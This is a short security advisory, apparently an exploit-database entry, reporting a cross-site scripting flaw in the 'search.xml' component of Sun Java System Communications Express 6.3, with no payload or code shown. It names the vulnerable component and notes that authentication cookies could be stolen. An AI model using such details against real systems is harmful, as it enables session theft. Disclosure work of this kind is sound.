Sun Java System Communications Express 6.3 - 'search.xml' Cross-Site Scripting

source: https://www.securityfocus.com/bid/34154/info

Sun Java System Communications Express is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
